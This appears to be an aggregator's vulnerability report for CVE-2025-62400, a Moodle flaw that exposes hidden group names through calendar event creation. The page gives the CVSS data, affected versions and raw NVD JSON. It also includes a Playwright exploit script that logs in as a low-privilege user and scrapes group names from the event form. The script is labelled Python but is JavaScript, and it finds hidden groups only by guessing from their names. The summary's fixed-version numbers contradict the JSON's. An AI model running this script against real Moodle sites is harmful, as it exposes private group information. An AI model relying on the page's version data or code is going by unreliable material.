Security Vulnerability Report
中文
CVE-2025-62400 CVSS 4.3 MEDIUM

CVE-2025-62400

Published: 2025-10-23 12:15:33
Last Modified: 2025-11-14 19:07:38

Description

Moodle exposed the names of hidden groups to users who had permission to create calendar events but not to view hidden groups. This could reveal private or restricted group information.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
Moodle LMS 4.1.x < 4.1.30
Moodle LMS 4.5.x < 4.5.6
Moodle LMS 5.0.x < 5.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62400 PoC - Moodle Hidden Group Name Disclosure // This PoC demonstrates how hidden group names can be exposed via calendar event creation // Step 1: Authenticate with low-privilege account const loginMoodle = async (page, username, password) => { await page.goto('https://target-moodle/login/index.php'); await page.fill('#username', username); await page.fill('#password', password); await page.click('#loginbtn'); await page.waitForURL('**/my/**'); }; // Step 2: Navigate to calendar event creation const navigateToCalendarEvent = async (page) => { await page.goto('https://target-moodle/calendar/addevent.php'); await page.waitForSelector('#id_name'); }; // Step 3: Check for hidden groups in group selector const extractGroupNames = async (page) => { // Look for group selector dropdown or checkbox options const groupSelector = await page.$('#id_groupid, .group-selector, [name*="group"]'); if (groupSelector) { const options = await page.$$eval('option', options => options.map(opt => ({ value: opt.value, text: opt.textContent })) ); // Filter potential hidden groups based on naming patterns const hiddenGroups = options.filter(opt => opt.text.includes('Hidden') || opt.text.includes('Private') || opt.value.startsWith('hidden_') || opt.text.includes('(Hidden)') ); console.log('Discovered groups:', options); console.log('Potential hidden groups:', hiddenGroups); return { allGroups: options, hiddenGroups: hiddenGroups }; } return null; }; // Main execution (async () => { const { chromium } = require('playwright'); const browser = await chromium.launch(); const page = await browser.newPage(); try { // Login with low-privilege user await loginMoodle(page, 'testuser', 'password123'); // Navigate to calendar await navigateToCalendarEvent(page); // Extract group information const groups = await extractGroupNames(page); if (groups && groups.hiddenGroups.length > 0) { console.log('[+] VULNERABLE: Hidden group names exposed'); console.log('[+] Hidden groups:', JSON.stringify(groups.hiddenGroups, null, 2)); } else { console.log('[-] Not vulnerable or no hidden groups found'); } } catch (error) { console.error('Error:', error.message); } finally { await browser.close(); } })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62400", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:32.757", "lastModified": "2025-11-14T19:07:37.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle exposed the names of hidden groups to users who had permission to create calendar events but not to view hidden groups. This could reveal private or restricted group information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62400", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404433", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}